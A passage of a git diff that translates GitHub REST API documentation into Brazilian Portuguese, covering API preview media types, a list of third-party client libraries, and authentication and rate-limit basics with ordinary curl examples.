+**Tipo de mídia personalizado:** `scarlet-witch-preview`
 
 {% endif %}
 
 {% ifversion ghae or ghes %}
 
-## Global webhooks
+## Webhooks globais
 
-Enables [global webhooks](/rest/reference/enterprise-admin#global-webhooks/) for  [organization](/webhooks/event-payloads/#organization) and [user](/webhooks/event-payloads/#user) event types. This API preview is only available for {% data variables.product.prodname_ghe_server %}.
+Habilita [webhooks globais](/rest/reference/enterprise-admin#global-webhooks/) para  [organizações](/webhooks/event-payloads/#organization) e tipos de evento do [usuário](/webhooks/event-payloads/#user). Esta visualização da API só está disponível para {% data variables.product.prodname_ghe_server %}.
 
-**Custom media type:** `superpro-preview`
-**Announced:** [2017-12-12](/rest/reference/enterprise-admin#global-webhooks)
+**Tipo de mídia personalizada:** `superpro-preview` **Anunciado em:** [2017-12-12](/rest/reference/enterprise-admin#global-webhooks)
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## Require signed commits
+## Exigir commits assinados
 
-You can now use the API to manage the setting for [requiring signed commits on protected branches](/rest/reference/repos#branches).
+Agora você pode usar a API para gerenciar a configuração para [exigir commits assinados em branches protegidos](/rest/reference/repos#branches).
 
-**Custom media type:** `zzzax-preview`
-**Announced:** [2018-02-22](https://developer.github.com/changes/2018-02-22-protected-branches-required-signatures)
+**Tipo de mídia personalizada:** `zzzax-preview` **Anunciado em:** [2018-02-22](https://developer.github.com/changes/2018-02-22-protected-branches-required-signatures)
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## Require multiple approving reviews
+## Exigir múltiplas revisões de aprovação
 
-You can now [require multiple approving reviews](/rest/reference/repos#branches) for a pull request using the API.
+Agora você pode [exigir múltiplas revisões de aprovação](/rest/reference/repos#branches) para um pull request usando a API.
 
-**Custom media type:** `luke-cage-preview`
-**Announced:** [2018-03-16](https://developer.github.com/changes/2018-03-16-protected-branches-required-approving-reviews)
+**Tipo de mídia personalizada:** `luke-cage-preview` **Anunciado em:** [2018-03-16](https://developer.github.com/changes/2018-03-16-protected-branches-required-approving-reviews)
 
 {% endif %}
 
 
 {% ifversion ghes %}
 
-## Anonymous Git access to repositories
+## Acesso de Git anônimo aos repositórios
 
-When a {% data variables.product.prodname_ghe_server %} instance is in private mode, site and repository administrators can enable anonymous Git access for a public repository.
+Quando uma instância do {% data variables.product.prodname_ghe_server %} estiver em modo privado, os administradores do site e do repositório podem habilitar o acesso anônimo ao Git para um repositório público.
 
-**Custom media type:** `x-ray-preview`
-**Announced:** [2018-07-12](https://blog.github.com/2018-07-12-introducing-enterprise-2-14/)
+**Tipo de mídia personalizada:** `x ray-preview` **Anunciado:** [2018-07-12](https://blog.github.com/2018-07-12-introducing-enterprise-2-14/)
 
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## Project card details
+## Detalhes do cartão de projeto
 
-The REST API responses for [issue events](/rest/reference/issues#events) and [issue timeline events](/rest/reference/issues#timeline) now return the `project_card` field for project-related events.
+As respostas da API REST para [eventos de problemas](/rest/reference/issues#events) e [eventos da linha do tempo de problemas](/rest/reference/issues#timeline) agora retornam o campo `project_card` para eventos relacionados ao projeto.
 
-**Custom media type:** `starfox-preview`
-**Announced:** [2018-09-05](https://developer.github.com/changes/2018-09-05-project-card-events)
+**Tipo de mídia personalizada:** `starfox-preview` **Anunciado:** [2018-09-05](https://developer.github.com/changes/2018-09-05-project-card-events)
 
 {% endif %}
 {% ifversion fpt or ghec %}
 
-## GitHub App Manifests
+## Manifestoes do aplicativo GitHub
 
-GitHub App Manifests allow people to create preconfigured GitHub Apps. See "[Creating GitHub Apps from a manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/)" for more details.
+Os manifestos do aplicativo GitHub permitem que pessoas criem aplicativos GitHub pré-configurados. Veja "[Criar aplicativos GitHub a partir de um manifesto](/apps/building-github-apps/creating-github-apps-from-a-manifest/)" para obter mais inoformações.
 
-**Custom media type:** `fury-preview`
+**Tipo de mídia personalizada:** `fury-preview`
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## Deployment statuses
+## Status da implantação
 
-You can now update the `environment` of a [deployment status](/rest/reference/deployments#create-a-deployment-status) and use the `in_progress` and `queued` states. When you create deployment statuses, you can now use the `auto_inactive` parameter to mark old `production` deployments as `inactive`.
+Agora você pode atualizar o ambiente `` de um [status de implantação](/rest/reference/deployments#create-a-deployment-status) e usar os estados `in_progress` e `na fila`. Ao criar o status da implantação, agora você pode usar o parâmetro `auto_inactive` para marcar implantações de `produção` antigas como `inativa`.
 
-**Custom media type:** `flash-preview`
-**Announced:** [2018-10-16](https://developer.github.com/changes/2018-10-16-deployments-environments-states-and-auto-inactive-updates/)
+**Tipo de mídia personalizada:** `flash-preview` **Anunciado:** [2018-10-16](https://developer.github.com/changes/2018-10-16-deployments-environments-states-and-auto-inactive-updates/)
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## Repository creation permissions
+## Permissões de criação de repositório
 
-You can now configure whether organization members can create repositories and which types of repositories they can create. See "[Update an organization](/rest/reference/orgs#update-an-organization)" for more details.
+Agora você pode configurar se os integrantes da organização podem criar repositórios e que tipos de repositórios podem criar. Consulte "[Atualizar uma organização](/rest/reference/orgs#update-an-organization)" para obter mais informações.
 
-**Custom media types:** `surtur-preview`
-**Announced:** [2019-12-03](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/)
+**Tipos de mídia personalizada:** `surtur-preview` **Anunciado:** [2019-12-03](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/)
 
 {% endif %}
 
 {% ifversion ghes < 3.4 %}
-## Content attachments
+## Anexos de conteúdo
 
-You can now provide more information in GitHub for URLs that link to registered domains by using the {% data variables.product.prodname_unfurls %} API. See "[Using content attachments](/apps/using-content-attachments/)" for more details.
+Agora você pode fornecer mais informações no GitHub para URLs vinculadas a domínios registrados usando a API de {% data variables.product.prodname_unfurls %}. Consulte "[Usar anexos de conteúdo](/apps/using-content-attachments/)" para obter mais informações.
 
-**Custom media types:** `corsair-preview`
-**Announced:** [2018-12-10](https://developer.github.com/changes/2018-12-10-content-attachments-api/)
+**Tipos de mídia personalizada:** `corsair-preview` **Anunciado:** [2018-12-10](https://developer.github.com/changes/2018-12-10-content-attachments-api/)
 
 {% endif %}
 {% ifversion ghae or ghes < 3.3 %}
 
-## Enable and disable Pages
+## Habilitar e desabilitar páginas
 
-You can use the new endpoints in the [Pages API](/rest/reference/repos#pages) to enable or disable Pages. To learn more about Pages, see "[GitHub Pages Basics](/categories/github-pages-basics)".
+Você pode usar os novos pontos de extremidade no [API de páginas](/rest/reference/repos#pages) para habilitar ou desabilitar páginas. Para saber mais sobre páginas, consulte "[Princípios básicos do GitHub Pages](/categories/github-pages-basics)".
 
-**Custom media types:** `switcheroo-preview`
-**Announced:** [2019-03-14](https://developer.github.com/changes/2019-03-14-enabling-disabling-pages/)
+**Tipos de mídia personalizada:** `switcheroo-preview` **Anunciado:** [2019-03-14](https://developer.github.com/changes/2019-03-14-enabling-disabling-pages/)
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## List branches or pull requests for a commit
+## Listar branches ou pull requests para um commit
 
-You can use two new endpoints in the [Commits API](/rest/reference/repos#commits) to list branches or pull requests for a commit.
+Você pode usar dois novos pontos de extremidade na [API de commits](/rest/reference/repos#commits) para listar branches ou pull requests para um commit.
 
-**Custom media types:** `groot-preview`
-**Announced:** [2019-04-11](https://developer.github.com/changes/2019-04-11-pulls-branches-for-commit/)
+**Tipos de mídia personalizada:** `groot-preview` **Anunciado:** [2019-04-11](https://developer.github.com/changes/2019-04-11-pulls-branches-for-commit/)
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## Update a pull request branch
+## Atualizar um branch de pull request
 
-You can use a new endpoint to [update a pull request branch](/rest/reference/pulls#update-a-pull-request-branch) with changes from the HEAD of the upstream branch.
+Você pode usar um novo ponto de extremidade para [atualizar um branch de pull request](/rest/reference/pulls#update-a-pull-request-branch) com alterações do HEAD do branch upstream.
 
-**Custom media types:** `lydian-preview`
-**Announced:** [2019-05-29](https://developer.github.com/changes/2019-05-29-update-branch-api/)
+**Tipos de mídia personalizada:** `lidian-preview` **Anunciado:** [2019-05-29](https://developer.github.com/changes/2019-05-29-update-branch-api/)
 
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## Create and use repository templates
+## Criar e usar modelos de repositório
 
-You can use a new endpoint to [Create a repository using a template](/rest/reference/repos#create-a-repository-using-a-template) and [Create a repository for the authenticated user](/rest/reference/repos#create-a-repository-for-the-authenticated-user) that is a template repository by setting the `is_template` parameter to `true`. [Get a repository](/rest/reference/repos#get-a-repository) to check whether it's set as a template repository using the `is_template` key.
+Você pode usar um novo ponto de extremidade para [Criar um repositório usando um modelo](/rest/reference/repos#create-a-repository-using-a-template) e [Criar um repositório para o usuário autenticado](/rest/reference/repos#create-a-repository-for-the-authenticated-user) que é um repositório de modelo, definindo o parâmetro `is_template` como `verdadeiro`. [Obter um repositório](/rest/reference/repos#get-a-repository) para verificar se ele é definido como um repositório de modelo usando a chave `is_template`.
 
-**Custom media types:** `baptiste-preview`
-**Announced:** [2019-07-05](https://developer.github.com/changes/2019-07-16-repository-templates-api/)
+**Tipos de mídia personalizada:** `baptiste-preview` **Anunciado:** [2019-07-05](https://developer.github.com/changes/2019-07-16-repository-templates-api/)
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## New visibility parameter for the Repositories API
+## Novo parâmetro de visibilidade para a API de repositórios
 
-You can set and retrieve the visibility of a repository in the [Repositories API](/rest/reference/repos).
+Você pode definir e recuperar a visibilidade de um repositório na [API de repositórios](/rest/reference/repos).
 
-**Custom media types:** `nebula-preview`
-**Announced:** [2019-11-25](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/)
+**Tipos de mídia personalizada:** `nebula-preview` **Anunciado:** [2019-11-25](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/)
 {% endif %}
diff --git a/translations/pt-BR/content/rest/overview/libraries.md b/translations/pt-BR/content/rest/overview/libraries.md
index 0128487f72..49e6ee2e51 100644
--- a/translations/pt-BR/content/rest/overview/libraries.md
+++ b/translations/pt-BR/content/rest/overview/libraries.md
@@ -1,5 +1,5 @@
 ---
-title: Libraries
+title: Bibliotecas
 intro: 'You can use the official Octokit library and other third-party libraries to extend and simplify how you use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API.'
 redirect_from:
   - /libraries
@@ -14,9 +14,9 @@ topics:
 ---
 
 <div class="jumbotron libraries-jumbotron">
-  <img src="/assets/images/gundamcat.png" class="gundamcat" alt="The Gundamcat" />
-  <h1>Octokit comes in many flavors</h1>
-  <p class="lead">Use the official Octokit library, or choose between any of the available third party libraries.</p>
+  <img src="/assets/images/gundamcat.png" class="gundamcat" alt="O Gundamcat" />
+  <h1>O Octokit tem muitos sabores</h1>
+  <p class="lead">Use a biblioteca oficial do Octokit ou escolha entre qualquer uma das bibliotecas de terceiros disponíveis.</p>
   <div class="octokit-links"><br/>
      <div class="octokit-language"> <span>Ruby → </span><a href="https://github.com/octokit/octokit.rb">octokit.rb</a></div><br/>
      <div class="octokit-language"><span>.NET → </span> <a href="https://github.com/octokit/octokit.net">octokit.net</a></div><br/>
@@ -24,130 +24,130 @@ topics:
   </div>
 </div>
 
-# Third-party libraries
+# Bibliotecas de terceiros
 
 ### Clojure
 
-| Library name | Repository |
-|---|---|
-|**Tentacles**| [Raynes/tentacles](https://github.com/Raynes/tentacles)|
+| Nome da Biblioteca | Repositório                                             |
+| ------------------ | ------------------------------------------------------- |
+| **Tentacles**      | [Raynes/tentacles](https://github.com/Raynes/tentacles) |
 
 ### Dart
 
-| Library name | Repository |
-|---|---|
-|**github.dart** | [DirectMyFile/github.dart](https://github.com/DirectMyFile/github.dart)|
+| Nome da Biblioteca | Repositório                                                             |
+| ------------------ | ----------------------------------------------------------------------- |
+| **github.dart**    | [DirectMyFile/github.dart](https://github.com/DirectMyFile/github.dart) |
 
 ### Emacs Lisp
 
-| Library name | Repository |
-|---|---|
-|**gh.el**    | [sigma/gh.el](https://github.com/sigma/gh.el)|
+| Nome da Biblioteca | Repositório                                   |
+| ------------------ | --------------------------------------------- |
+| **gh.el**          | [sigma/gh.el](https://github.com/sigma/gh.el) |
 
 ### Erlang
 
-| Library name | Repository |
-|---|---|
-|**octo-erl** | [sdepold/octo.erl](https://github.com/sdepold/octo.erl)|
+| Nome da Biblioteca | Repositório                                             |
+| ------------------ | ------------------------------------------------------- |
+| **octo-erl**       | [sdepold/octo.erl](https://github.com/sdepold/octo.erl) |
 
 ### Go
 
-| Library name | Repository |
-|---|---|
-|**go-github**| [google/go-github](https://github.com/google/go-github)|
+| Nome da Biblioteca | Repositório                                             |
+| ------------------ | ------------------------------------------------------- |
+| **go-github**      | [google/go-github](https://github.com/google/go-github) |
 
 ### Haskell
 
-| Library name | Repository |
-|---|---|
-|**haskell-github** | [fpco/Github](https://github.com/fpco/GitHub)|
+| Nome da Biblioteca | Repositório                                   |
+| ------------------ | --------------------------------------------- |
+| **haskell-github** | [fpco/Github](https://github.com/fpco/GitHub) |
 
 ### Java
 
-| Library name | Repository | More information |
-|---|---|---|
-|**GitHub API for Java**| [org.kohsuke.github (From github-api)](http://github-api.kohsuke.org/)|defines an object oriented representation of the GitHub API.|
-|**JCabi GitHub API**|[github.jcabi.com (Personal Website)](http://github.jcabi.com)|is based on Java7 JSON API (JSR-353), simplifies tests with a runtime GitHub stub, and covers the entire API.|
+| Nome da Biblioteca          | Repositório                                                          | Mais informações                                                                                                              |
+| --------------------------- | -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------- |
+| **API do GitHub para Java** | [org.kohsuke.github (do github-api)](http://github-api.kohsuke.org/) | define uma representação de objetos orientada à API do GitHub.                                                                |
+| **JCabi GitHub API**        | [github.jcabi.com (Site pessoal)](http://github.jcabi.com)           | é baseado na API JSON Java7 (JSR-353), simplifica testes com uma amostra de tempo de execução do GitHub e abrange toda a API. |
 
 ### JavaScript
 
-| Library name | Repository |
-|---|---|
-|**NodeJS GitHub library**| [pksunkara/octonode](https://github.com/pksunkara/octonode)|
-|**gh3 client-side API v3 wrapper**| [k33g/gh3](https://github.com/k33g/gh3)|
-|**Github.js wrapper around the GitHub API**|[michael/github](https://github.com/michael/github)|
-|**Promise-Based CoffeeScript library for the Browser or NodeJS**|[philschatz/github-client](https://github.com/philschatz/github-client)|
+| Nome da Biblioteca                                                        | Repositório                                                             |
+| ------------------------------------------------------------------------- | ----------------------------------------------------------------------- |
+| **NodeJS GitHub library**                                                 | [pksunkara/octonode](https://github.com/pksunkara/octonode)             |
+| **gh3 client-side API v3 wrapper**                                        | [k33g/gh3](https://github.com/k33g/gh3)                                 |
+| **O wrapper do Github.js sobre a API do GitHub**                          | [michael/github](https://github.com/michael/github)                     |
+| **Biblioteca CoffeeScript baseada no Promise para o navegador ou NodeJS** | [philschatz/github-client](https://github.com/philschatz/github-client) |
 
 ### Julia
 
-| Library name | Repository |
-|---|---|
-|**GitHub.jl**|[JuliaWeb/GitHub.jl](https://github.com/JuliaWeb/GitHub.jl)|
+| Nome da Biblioteca | Repositório                                                 |
+| ------------------ | ----------------------------------------------------------- |
+| **GitHub.jl**      | [JuliaWeb/GitHub.jl](https://github.com/JuliaWeb/GitHub.jl) |
 
 ### OCaml
 
-| Library name | Repository |
-|---|---|
-|**ocaml-github**|[mirage/ocaml-github](https://github.com/mirage/ocaml-github)|
+| Nome da Biblioteca | Repositório                                                   |
+| ------------------ | ------------------------------------------------------------- |
+| **ocaml-github**   | [mirage/ocaml-github](https://github.com/mirage/ocaml-github) |
 
 ### Perl
 
-| Library name | Repository | metacpan Website for the Library |
-|---|---|---|
-|**Pithub**|[plu/Pithub](https://github.com/plu/Pithub)|[Pithub CPAN](http://metacpan.org/module/Pithub)|
-|**Net::GitHub**|[fayland/perl-net-github](https://github.com/fayland/perl-net-github)|[Net:GitHub CPAN](https://metacpan.org/pod/Net::GitHub)|
+| Nome da Biblioteca | Repositório                                                           | Site metacpan para a biblioteca                         |
+| ------------------ | --------------------------------------------------------------------- | ------------------------------------------------------- |
+| **Pithub**         | [plu/Pithub](https://github.com/plu/Pithub)                           | [Pithub CPAN](http://metacpan.org/module/Pithub)        |
+| **Net::GitHub**    | [fayland/perl-net-github](https://github.com/fayland/perl-net-github) | [Net:GitHub CPAN](https://metacpan.org/pod/Net::GitHub) |
 
 ### PHP
 
-| Library name | Repository |
-|---|---|
-|**PHP GitHub API**|[KnpLabs/php-github-api](https://github.com/KnpLabs/php-github-api)|
-|**GitHub Joomla! Package**|[joomla-framework/github-api](https://github.com/joomla-framework/github-api)|
-|**GitHub bridge for Laravel**|[GrahamCampbell/Laravel-GitHub](https://github.com/GrahamCampbell/Laravel-GitHub)|
+| Nome da Biblioteca             | Repositório                                                                       |
+| ------------------------------ | --------------------------------------------------------------------------------- |
+| **PHP GitHub API**             | [KnpLabs/php-github-api](https://github.com/KnpLabs/php-github-api)               |
+| **GitHub Joomla! Package**     | [joomla-framework/github-api](https://github.com/joomla-framework/github-api)     |
+| **GitHub bridge para Laravel** | [GrahamCampbell/Laravel-GitHub](https://github.com/GrahamCampbell/Laravel-GitHub) |
 
 ### PowerShell
 
-| Library name | Repository |
-|---|---|
-|**PowerShellForGitHub**|[microsoft/PowerShellForGitHub](https://github.com/microsoft/PowerShellForGitHub)|
+| Nome da Biblioteca      | Repositório                                                                       |
+| ----------------------- | --------------------------------------------------------------------------------- |
+| **PowerShellForGitHub** | [microsoft/PowerShellForGitHub](https://github.com/microsoft/PowerShellForGitHub) |
 
 ### Python
 
-| Library name | Repository |
-|---|---|
-|**gidgethub**|[brettcannon/gidgethub](https://github.com/brettcannon/gidgethub)|
-|**ghapi**|[fastai/ghapi](https://github.com/fastai/ghapi)|
-|**PyGithub**|[PyGithub/PyGithub](https://github.com/PyGithub/PyGithub)|
-|**libsaas**|[duckboard/libsaas](https://github.com/ducksboard/libsaas)|
-|**github3.py**|[sigmavirus24/github3.py](https://github.com/sigmavirus24/github3.py)|
-|**sanction**|[demianbrecht/sanction](https://github.com/demianbrecht/sanction)|
-|**agithub**|[jpaugh/agithub](https://github.com/jpaugh/agithub)|
-|**octohub**|[turnkeylinux/octohub](https://github.com/turnkeylinux/octohub)|
-|**github-flask**|[github-flask (Official Website)](http://github-flask.readthedocs.org)|
-|**torngithub**|[jkeylu/torngithub](https://github.com/jkeylu/torngithub)|
+| Nome da Biblioteca | Repositório                                                           |
+| ------------------ | --------------------------------------------------------------------- |
+| **gidgethub**      | [brettcannon/gidgethub](https://github.com/brettcannon/gidgethub)     |
+| **ghapi**          | [fastai/ghapi](https://github.com/fastai/ghapi)                       |
+| **PyGithub**       | [PyGithub/PyGithub](https://github.com/PyGithub/PyGithub)             |
+| **libsaas**        | [duckboard/libsaas](https://github.com/ducksboard/libsaas)            |
+| **github3.py**     | [sigmavirus24/github3.py](https://github.com/sigmavirus24/github3.py) |
+| **sanction**       | [demianbrecht/sanction](https://github.com/demianbrecht/sanction)     |
+| **agithub**        | [jpaugh/agithub](https://github.com/jpaugh/agithub)                   |
+| **octohub**        | [turnkeylinux/octohub](https://github.com/turnkeylinux/octohub)       |
+| **github-flask**   | [github-flask (site oficial)](http://github-flask.readthedocs.org)    |
+| **torngithub**     | [jkeylu/torngithub](https://github.com/jkeylu/torngithub)             |
 
 ### Ruby
 
-| Library name | Repository |
-|---|---|
-|**GitHub API Gem**|[peter-murach/github](https://github.com/peter-murach/github)|
-|**Ghee**|[rauhryan/ghee](https://github.com/rauhryan/ghee)|
+| Nome da Biblioteca | Repositório                                                   |
+| ------------------ | ------------------------------------------------------------- |
+| **GitHub API Gem** | [peter-murach/github](https://github.com/peter-murach/github) |
+| **Ghee**           | [rauhryan/ghee](https://github.com/rauhryan/ghee)             |
 
 ### Rust
 
-| Library name | Repository |
-|---|---|
-|**Octocrab**|[XAMPPRocky/octocrab](https://github.com/XAMPPRocky/octocrab)|
+| Nome da Biblioteca | Repositório                                                   |
+| ------------------ | ------------------------------------------------------------- |
+| **Octocrab**       | [XAMPPRocky/octocrab](https://github.com/XAMPPRocky/octocrab) |
 
 ### Scala
 
-| Library name | Repository |
-|---|---|
-|**Hubcat**|[softprops/hubcat](https://github.com/softprops/hubcat)|
-|**Github4s**|[47deg/github4s](https://github.com/47deg/github4s)|
+| Nome da Biblioteca | Repositório                                             |
+| ------------------ | ------------------------------------------------------- |
+| **Hubcat**         | [softprops/hubcat](https://github.com/softprops/hubcat) |
+| **Github4s**       | [47deg/github4s](https://github.com/47deg/github4s)     |
 
 ### Shell
 
-| Library name | Repository |
-|---|---|
-|**ok.sh**|[whiteinge/ok.sh](https://github.com/whiteinge/ok.sh)|
+| Nome da Biblioteca | Repositório                                           |
+| ------------------ | ----------------------------------------------------- |
+| **ok.sh**          | [whiteinge/ok.sh](https://github.com/whiteinge/ok.sh) |
diff --git a/translations/pt-BR/content/rest/overview/resources-in-the-rest-api.md b/translations/pt-BR/content/rest/overview/resources-in-the-rest-api.md
index 49c8175768..b67c685573 100644
--- a/translations/pt-BR/content/rest/overview/resources-in-the-rest-api.md
+++ b/translations/pt-BR/content/rest/overview/resources-in-the-rest-api.md
@@ -1,5 +1,5 @@
 ---
-title: Resources in the REST API
+title: Recursos na API REST
 intro: 'Learn how to navigate the resources provided by the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API.'
 redirect_from:
   - /rest/initialize-the-repo
@@ -13,12 +13,11 @@ topics:
 ---
 
 
-This describes the resources that make up the official {% data variables.product.product_name %} REST API. If you have any problems or requests, please contact {% data variables.contact.contact_support %}.
+Isso descreve os recursos que formam a API REST oficial de {% data variables.product.product_name %}. Em caso de problema ou solicitação, entre em contato com {% data variables.contact.contact_support %}.
 
-## Current version
+## Versão atual
 
-By default, all requests to `{% data variables.product.api_url_code %}` receive the **v3** [version](/developers/overview/about-githubs-apis) of the REST API.
-We encourage you to [explicitly request this version via the `Accept` header](/rest/overview/media-types#request-specific-version).
+Por padrão, todas as solicitações para `{% data variables.product.api_url_code %}` recebem a versão **v3** [](/developers/overview/about-githubs-apis) da API REST. Nós incentivamos que você a [solicite explicitamente esta versão por meio do cabeçalho `Aceitar`](/rest/overview/media-types#request-specific-version).
 
     Accept: application/vnd.github.v3+json
 
@@ -28,10 +27,10 @@ For information about GitHub's GraphQL API, see the [v4 documentation]({% ifvers
 
 {% endif %}
 
-## Schema
+## Esquema
 
-{% ifversion fpt or ghec %}All API access is over HTTPS, and{% else %}The API is{% endif %} accessed from `{% data variables.product.api_url_code %}`.  All data is
-sent and received as JSON.
+{% ifversion fpt or ghec %}All API access is over HTTPS, and{% else %}The API is{% endif %} accessed from `{% data variables.product.api_url_code %}`.  Todos os dados são
+enviados e recebidos como JSON.
 
 ```shell
 $ curl -I {% data variables.product.api_url_pre %}/users/octocat/orgs
@@ -52,55 +51,43 @@ $ curl -I {% data variables.product.api_url_pre %}/users/octocat/orgs
 > X-Content-Type-Options: nosniff
 ```
 
-Blank fields are included as `null` instead of being omitted.
+Os campos em branco são incluídos como `null` em vez de serem omitidos.
 
 All timestamps return in UTC time, ISO 8601 format:
 
     YYYY-MM-DDTHH:MM:SSZ
 
-For more information about timezones in timestamps, see [this section](#timezones).
+Para obter mais informações sobre fusos horários nos registros de tempo, consulte [esta seção](#timezones).
 
-### Summary representations
+### Apresentações resumidas
 
-When you fetch a list of resources, the response includes a _subset_ of the
-attributes for that resource. This is the "summary" representation of the
-resource. (Some attributes are computationally expensive for the API to provide.
-For performance reasons, the summary representation excludes those attributes.
-To obtain those attributes, fetch the "detailed" representation.)
+Ao buscar uma lista de recursos, a resposta inclui um _subconjunto_ dos atributos para esse recurso. Esta é a representação "resumo" do recurso. (Alguns atributos são computacionalmente caros para a API fornecer. Por razões de desempenho, a representação resumida exclui esses atributos. Para obter esses atributos, busque a representação "detalhada".)
 
-**Example**: When you get a list of repositories, you get the summary
-representation of each repository. Here, we fetch the list of repositories owned
-by the [octokit](https://github.com/octokit) organization:
+**Exemplo**: ao receber uma lista de repositórios, você recebe a representação resumida de cada repositório. Aqui, buscamos a lista de repositórios pertencentes a à organização do [octokit](https://github.com/octokit):
 
     GET /orgs/octokit/repos
 
-### Detailed representations
+### Representações detalhadas
 
-When you fetch an individual resource, the response typically includes _all_
-attributes for that resource. This is the "detailed" representation of the
-resource. (Note that authorization sometimes influences the amount of detail
-included in the representation.)
+Ao buscar um recurso individual, a resposta normalmente inclui _todos os_ atributos para esse recurso. Esta é a representação "detalhada" do recurso. (Note que a autorização por vezes influencia o valor de detalhes incluído na representação.)
 
-**Example**: When you get an individual repository, you get the detailed
-representation of the repository. Here, we fetch the
-[octokit/octokit.rb](https://github.com/octokit/octokit.rb) repository:
+**Exemplo**: ao receber um repositório individual, você recebe a representação detalhada do repositório. Aqui, nós buscamos o repositório [octokit/octokit.rb](https://github.com/octokit/octokit.rb):
 
     GET /repos/octokit/octokit.rb
 
-The documentation provides an example response for each API method. The example
-response illustrates all attributes that are returned by that method.
+A documentação fornece um exemplo de resposta para cada método da API. O exemplo da resposta ilustra todos os atributos retornados por esse método.
 
-## Authentication
+## Autenticação
 
-{% ifversion ghae %} We recommend authenticating to the {% data variables.product.product_name %} REST API by creating an OAuth2 token through the [web application flow](/developers/apps/authorizing-oauth-apps#web-application-flow). {% else %} There are two ways to authenticate through {% data variables.product.product_name %} REST API.{% endif %} Requests that require authentication will return `404 Not Found`, instead of `403 Forbidden`, in some places.  This is to prevent the accidental leakage of private repositories to unauthorized users.
+{% ifversion ghae %} Recomendamos efetuar a autenticação na API REST de {% data variables.product.product_name %}, criando um token OAuth2 por meio do [fluxo do aplicativo web](/developers/apps/authorizing-oauth-apps#web-application-flow). {% else %} Existem duas maneiras de efetuar a autenticação por meio da API REST de {% data variables.product.product_name %}.{% endif %} As solicitações que exigem autenticação retornarão `404 Not Found`, em vez de `403 Forbidden` em alguns lugares.  Isso é para evitar a fuga acidental de repositórios privados para usuários não autorizados.
 
-### Basic authentication
+### Autenticação básica
 
 ```shell
 $ curl -u "username" {% data variables.product.api_url_pre %}
 ```
 
-### OAuth2 token (sent in a header)
+### Token do OAuth2 (enviado em um cabeçalho)
 
 ```shell
 $ curl -H "Authorization: token <em>OAUTH-TOKEN</em>" {% data variables.product.api_url_pre %}
@@ -108,11 +95,11 @@ $ curl -H "Authorization: token <em>OAUTH-TOKEN</em>" {% data variables.product.
 
 {% note %}
 
-Note: GitHub recommends sending OAuth tokens using the Authorization header.
+Observação: O GitHub recomenda enviar tokens do OAuth usando o cabeçalho de autorização.
 
 {% endnote %}
 
-Read [more about OAuth2](/apps/building-oauth-apps/).  Note that OAuth2 tokens can be acquired using the [web application flow](/developers/apps/authorizing-oauth-apps#web-application-flow) for production applications.
+Leia [mais sobre o OAuth2](/apps/building-oauth-apps/).  Observe que os tokens do OAuth2 podem ser adquiridos usando o [fluxo de aplicação web](/developers/apps/authorizing-oauth-apps#web-application-flow) para aplicativos de produção.
 
 {% ifversion fpt or ghes or ghec %}
 ### OAuth2 key/secret
@@ -123,22 +110,22 @@ Read [more about OAuth2](/apps/building-oauth-apps/).  Note that OAuth2 tokens c
 curl -u my_client_id:my_client_secret '{% data variables.product.api_url_pre %}/user/repos'
 ```
 
-Using your `client_id` and `client_secret` does _not_ authenticate as a user, it will only identify your OAuth application to increase your rate limit. Permissions are only granted to users, not applications, and you will only get back data that an unauthenticated user would see. For this reason, you should only use the OAuth2 key/secret in server-to-server scenarios. Don't leak your OAuth application's client secret to your users.
+Usar o seu `client_id` e `client_secret` _ não_ autenticam você como usuário. Isso apenas irá identificar o seu aplicativo OAuth para aumentar o seu limite de taxa. As permissões só são concedidas a usuários, não aplicativos, e você só obterá dados que um usuário não autenticado visualizaria. Por este motivo, você só deve usar a chave/segredo OAuth2 em cenários de servidor para servidor. Não compartilhe o segredo do cliente do aplicativo OAuth com os seus usuários.
 
 {% ifversion ghes %}
-You will be unable to authenticate using your OAuth2 key and secret while in private mode, and trying to authenticate will return `401 Unauthorized`. For more information, see "[Enabling private mode](/admin/configuration/configuring-your-enterprise/enabling-private-mode)".
+Você não conseguirá efetuar a autenticação usando sua chave e segredo do OAuth2 enquanto estiver no modo privado e essa tentativa de autenticação irá retornar `401 Unauthorized`. For more information, see "[Enabling private mode](/admin/configuration/configuring-your-enterprise/enabling-private-mode)".
 {% endif %}
 {% endif %}
 
 {% ifversion fpt or ghec %}
 
-Read [more about unauthenticated rate limiting](#increasing-the-unauthenticated-rate-limit-for-oauth-applications).
+Leia [Mais informações sobre limitação da taxa não autenticada](#increasing-the-unauthenticated-rate-limit-for-oauth-applications).
 
 {% endif %}
 
-### Failed login limit
+### Falha no limite de login
 
-Authenticating with invalid credentials will return `401 Unauthorized`:
+A autenticação com credenciais inválidas retornará `401 Unauthorized`:
 
 ```shell
 $ curl -I {% data variables.product.api_url_pre %} -u foo:bar
@@ -150,9 +137,7 @@ $ curl -I {% data variables.product.api_url_pre %} -u foo:bar
 > }
 ```
 
-After detecting several requests with invalid credentials within a short period,
-the API will temporarily reject all authentication attempts for that user
-(including ones with valid credentials) with `403 Forbidden`:
+Após detectar várias solicitações com credenciais inválidas em um curto período de tempo, a API rejeitará temporariamente todas as tentativas de autenticação para esse usuário (incluindo aquelas com credenciais válidas) com `403 Forbidden`:
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %} -u {% ifversion fpt or ghae or ghec %}
@@ -164,215 +149,191 @@ $ curl -i {% data variables.product.api_url_pre %} -u {% ifversion fpt or ghae o
 > }
 ```
 
-## Parameters
+## Parâmetros
 
